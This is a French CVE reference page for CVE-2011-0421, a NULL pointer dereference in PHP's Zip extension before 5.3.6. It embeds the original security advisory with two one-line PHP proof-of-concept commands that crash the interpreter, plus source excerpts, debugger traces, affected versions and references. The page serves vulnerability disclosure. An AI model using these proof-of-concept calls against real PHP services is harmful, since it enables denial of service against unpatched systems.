CVE-2011-0421 : Détail

CVE-2011-0421

2.55%V3
Network
2011-03-20
00h00 +00:00
2018-10-09
16h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The _zip_name_locate function in zip_name_locate.c in the Zip extension in PHP before 5.3.6 does not properly handle a ZIPARCHIVE::FL_UNCHANGED argument, which might allow context-dependent attackers to cause a denial of service (NULL pointer dereference) via an empty ZIP archive that is processed with a (1) locateName or (2) statName operation.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 17004

Date de publication : 2011-03-17 23h00 +00:00
Auteur : Maksymilian Arciemowicz
EDB Vérifié : No

Source: http://securityreason.com/securityalert/8146 libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5) Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - Dis.: 03.01.2011 - Pub.: 18.03.2011 CVE: CVE-2011-0421 CERT: VU#325039 Affected Software: - libzip 0.9.3 - PHP 5.3.5 (fixed 5.3.6) Original URL: http://securityreason.com/achievement_securityalert/96 --- 0.Description --- libzip is a C library for reading, creating, and modifying zip archives. Files can be added from data buffers, files, or compressed data copied directly from other zip archives. Changes made without closing the archive can be reverted. The API is documented by man pages. --- 1.Description --- libzip allows remote and local attackers to Denial of Service (Null Pointer Dereference) if ZIP_FL_UNCHANGED flag is set. -lib/zip_name_locate.c--- int _zip_name_locate(struct zip *za, const char *fname, int flags, struct zip_error *error) { int (*cmp)(const char *, const char *); const char *fn, *p; int i, n; if (fname == NULL) { _zip_error_set(error, ZIP_ER_INVAL, 0); return -1; } cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp; n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <= CRASH HERE -lib/zip_name_locate.c--- for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash. Currently for PHP, the security impact we estimate only like a remote DoS, so risk is low. Project using libzip: KDE Utilities (4.x branch), MySQL Workbench, ckmame, fuse-zip, php zip extension, Endeavour2, FreeDink Better analysis based on PHP code ZipArchive, bellow --- 2. PHP 5.3.5 ZipArchive() --- PoC1: php -r '$nx=new ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCH ANGED);' PoC2: php -r '$nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHAN GED);' Let's -php_zip.c------------------------------------- ... static ZIPARCHIVE_METHOD(locateName) { ... ZIP_FROM_OBJECT(intern, this); if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &name, &name_len, &flags) == FAILURE) { return; } ... idx = (long)zip_name_locate(intern, (const char *)name, flags); <=== CRASH IN THIS FUNCTION ... -php_zip.c------------------------------------- and let`s see -zip_name_locate.c------------------------------------- ZIP_EXTERN(int) zip_name_locate(struct zip *za, const char *fname, int flags) { return _zip_name_locate(za, fname, flags, &za->error); } int _zip_name_locate(struct zip *za, const char *fname, int flags, struct zip_error *error) { int (*cmp)(const char *, const char *); const char *fn, *p; int i, n; if (fname == NULL) { _zip_error_set(error, ZIP_ER_INVAL, 0); return -1; } cmp = (flags & ZIP_FL_NOCASE) ? strcmpi : strcmp; n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=== CRASH HERE IF ZIPARCHIVE::FL_UNCHANGED for (i=0; i<n; i++) { ... -zip_name_locate.c------------------------------------- (gdb) bt #0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x116ac70 "a", flags=32767, error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 #1 0x00000000006381e6 in c_ziparchive_locateName (ht=2, return_value=0x1169418, return_value_ptr=0xffffffff, this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1877 #2 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 #3 0x00000000006c0b00 in execute (op_array=0x1168568) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:107 ... Program received signal SIGSEGV, Segmentation fault. 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x1169400 "9223372036854775808", flags=32767, error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 65 n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; (gdb) print za->cdir->nentry Cannot access memory at address 0x8 (gdb) print za->nentry $21 = 0 because (gdb) x/i $rip => 0x6407cc <_zip_name_locate+236>: mov 0x8(%rax),%eax (gdb) x/i $rax 0x0: Cannot access memory at address 0x0 (gdb) x/i $eax call to zip_name_locate (gdb) n 1877 idx = (long)zip_name_locate(intern, (const char *)name, flags); (gdb) print intern $24 = (struct zip *) 0x118d580 (gdb) x/x intern 0x118d580: 0x0118d220 (gdb) x/40x intern 0x118d580: 0x0118d220 0x00000000 0x0118d340 0x00000000 0x118d590: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5b0: 0x00000000 0x00000000 0xffffffff 0x00000000 0x118d5c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d5e0: 0x00000000 0x00000000 0x00020a21 0x00000000 0x118d5f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d600: 0x00000000 0x00000000 0x00000000 0x00000000 0x118d610: 0x00000000 0x00000000 0x00000000 0x00000000 next PoC2 $nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("9223372036854775808","92 23372036854775807"); rogram received signal SIGSEGV, Segmentation fault. 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767, error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 65 in /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c (gdb) bt #0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767, error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65 #1 0x0000000000640a50 in zip_stat (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=-1, st=0x7fffffffda70) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_stat.c:45 #2 0x0000000000638451 in c_ziparchive_statName (ht=2, return_value=0x1169480, return_value_ptr=0xffffffff, this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1818 #3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316 --- 3. Fix --- This issue has been fixed with PHP Team, so big thanks guys. http://www.php.net/ChangeLog-5.php#5.3.6 http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_name _locate.c?annotate=307867 --- 4. Greets --- Special thanks for Pierre Joye and Stas sp3x, Infospec, --- 5. Contact --- Author: Maksymilian Arciemowicz Email: - cxib {a\./t] securityreason [d=t} com GPG: - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.3.5

Php>>Php >> Version 1.0

Php>>Php >> Version 2.0

Php>>Php >> Version 2.0b10

Php>>Php >> Version 3.0

Php>>Php >> Version 3.0.1

Php>>Php >> Version 3.0.2

Php>>Php >> Version 3.0.3

Php>>Php >> Version 3.0.4

Php>>Php >> Version 3.0.5

Php>>Php >> Version 3.0.6

Php>>Php >> Version 3.0.7

Php>>Php >> Version 3.0.8

Php>>Php >> Version 3.0.9

Php>>Php >> Version 3.0.10

Php>>Php >> Version 3.0.11

Php>>Php >> Version 3.0.12

Php>>Php >> Version 3.0.13

Php>>Php >> Version 3.0.14

Php>>Php >> Version 3.0.15

Php>>Php >> Version 3.0.16

Php>>Php >> Version 3.0.17

Php>>Php >> Version 3.0.18

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

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Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.5

Php>>Php >> Version 4.0.6

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Php>>Php >> Version 4.1.0

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Php>>Php >> Version 4.2.0

Php>>Php >> Version 4.2.1

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Php>>Php >> Version 4.3.0

Php>>Php >> Version 4.3.1

Php>>Php >> Version 4.3.2

Php>>Php >> Version 4.3.3

Php>>Php >> Version 4.3.4

Php>>Php >> Version 4.3.5

Php>>Php >> Version 4.3.6

Php>>Php >> Version 4.3.7

Php>>Php >> Version 4.3.8

Php>>Php >> Version 4.3.9

Php>>Php >> Version 4.3.10

Php>>Php >> Version 4.3.11

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Php>>Php >> Version 5.0.0

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Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

Php>>Php >> Version 5.0.0

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Php>>Php >> Version 5.0.2

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Php>>Php >> Version 5.1.0

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Php>>Php >> Version 5.1.4

Php>>Php >> Version 5.1.5

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Php>>Php >> Version 5.2.1

Php>>Php >> Version 5.2.2

Php>>Php >> Version 5.2.3

Php>>Php >> Version 5.2.4

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    Références

    http://www.mandriva.com/security/advisories?name=MDVSA-2011:099
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://marc.info/?l=bugtraq&m=133469208622507&w=2
    Tags : vendor-advisory, x_refsource_HP
    http://www.vupen.com/english/advisories/2011/0764
    Tags : vdb-entry, x_refsource_VUPEN
    http://securityreason.com/securityalert/8146
    Tags : third-party-advisory, x_refsource_SREASON
    http://secunia.com/advisories/43621
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.mandriva.com/security/advisories?name=MDVSA-2011:053
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.debian.org/security/2011/dsa-2266
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.vupen.com/english/advisories/2011/0890
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.php.net/releases/5_3_6.php
    Tags : x_refsource_CONFIRM
    http://securityreason.com/achievement_securityalert/96
    Tags : third-party-advisory, x_refsource_SREASONRES
    http://www.php.net/ChangeLog-5.php
    Tags : x_refsource_CONFIRM
    http://www.php.net/archive/2011.php
    Tags : x_refsource_CONFIRM
    http://marc.info/?l=bugtraq&m=133469208622507&w=2
    Tags : vendor-advisory, x_refsource_HP
    http://www.exploit-db.com/exploits/17004
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.mandriva.com/security/advisories?name=MDVSA-2011:052
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.vupen.com/english/advisories/2011/0744
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.securityfocus.com/bid/46354
    Tags : vdb-entry, x_refsource_BID
    http://support.apple.com/kb/HT5002
    Tags : x_refsource_CONFIRM
    http://bugs.php.net/bug.php?id=53885
    Tags : x_refsource_CONFIRM